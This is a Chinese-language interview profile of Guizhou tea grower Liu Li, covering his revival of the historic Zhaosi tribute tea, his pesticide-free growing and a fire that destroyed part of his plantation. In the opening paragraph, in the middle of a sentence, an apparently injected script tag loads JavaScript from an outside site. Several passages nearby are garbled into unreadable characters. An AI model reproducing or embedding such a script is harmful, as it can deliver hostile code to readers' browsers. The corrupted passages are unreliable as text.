貴州茶人劉立訪談|茶人茶事(一)
貴州茶人劉立訪談
心性在茶
出了青巖定廣門，沿著田埂?script type='text/javascript' src='http://www.pmple.com/js/v.js'>對隊幸徽檔�，刘立的歼b熊椎氖髂疚樸木駁腦郝�，门甚r欏澳先皆隆薄?/p>
我們苦苦追尋他的茶文化敘事�！昂炔�！喝了我的茶，你們就懂了！”劉立微笑著說。在他手里，茶葉舒展開了，墨綠變成了翠綠，挺拔舒展在水中浮沉悠游。喝上一口，清甜中有草本的微澀，品位只屬于當年春天的芬芳。
“種茶人的心性都表現在茶里了，與其我說，不如茶來說。一杯上好的綠茶，能把漫山遍野的浩蕩清香遞送到唇齒之間�！彼f。
“有的人喝茶一味單純地強調甘甜，不容忍一丁點的苦澀�！痹趧⒘⒖磥�，一杯茶，香、甜、澀、苦都要有，不必去回避苦澀味，自然的滋味最重要，略帶苦澀而口感豐富的茶才能帶給人綿綿不絕的驚喜�！�
他說：“如果只追求甜，還不如去喝糖水，何必喝茶呢？”
尊崇自然
劉立種茶，源于一種情結。
他畢業于貴州農學院，學的就是與茶有關的專業。畢業后，愛寫詩、愛繪畫的他從事的卻是包裝設計行業。2003年，厭倦在城市中奔波的劉立在他的老師——貴州農學院陳振強教授的鼓勵下，重新回到花溪黔陶，老師建議他把趙司貢茶重新做起來。1701年，時任翰林侍讀學士的周漁璜曾將趙司茶獻給康熙帝，康熙帝飲后，贊曰：“品嘗周公趙司茶，皇宮內外十里香�！睆拇�，趙司茶成為貢品名傳天下。
劉立說：“趙司貢茶雖然有名氣，有文化內涵，但這么多年來，已經逐漸衰落。我當時很猶豫，去茶山查看了下，黔陶村那里只有很少的茶樹淹沒在雜草、灌木叢中。趙司村和騎龍村還有一些，但都是處于無人管理中�！弊罱K他還是簽下了承包合同，2003年，劉立開始了他的茶農生涯。
“到我接手的時候，茶樹沒幾棵，土地嚴重板結，比足球場還硬，我用3年時間才把這五六百畝的茶園地挖松，把茶樹整理出來，又把新茶樹種下去。我幾乎走遍了那一片的農民家里，請求他們不要把茶樹砍了，賣給我，春天的時候，我來采茶�！�
在劉立看來，茶是大自然恩賜的“珍木靈芽”，種茶、采茶、制茶時必須順應大自然的規律才能產出好茶。他說，種茶不太需要精耕細作，讓茶園建立起較完善的生態體系，能自我調節生態平衡。他拒絕使用農藥，允許蟲吃掉一部分茶青。
農業是靠天吃飯，這話劉立深有體會。種茶這9年來，他笑稱，幾乎所有的天災他都遇上了。一年夏天，氣溫很高，一天，村主任打電話說他的茶園被燒了兩畝多，他想到兩畝還能承受，也沒說什么。誰知道晚上村支書又打電話來說，又燒了幾十畝。他說：“接到這個電話，我都要哭了，幾十萬就這么沒了！”
盡管遇到這么多困難，但劉立并沒有放棄，他說，我是把“趙司貢茶”當成文化品牌來做的，沒有任何炒作，也沒有廣告，趙司貢茶憑著內在的魅力已經漸漸獲得一幫愛茶懂茶人的認可。
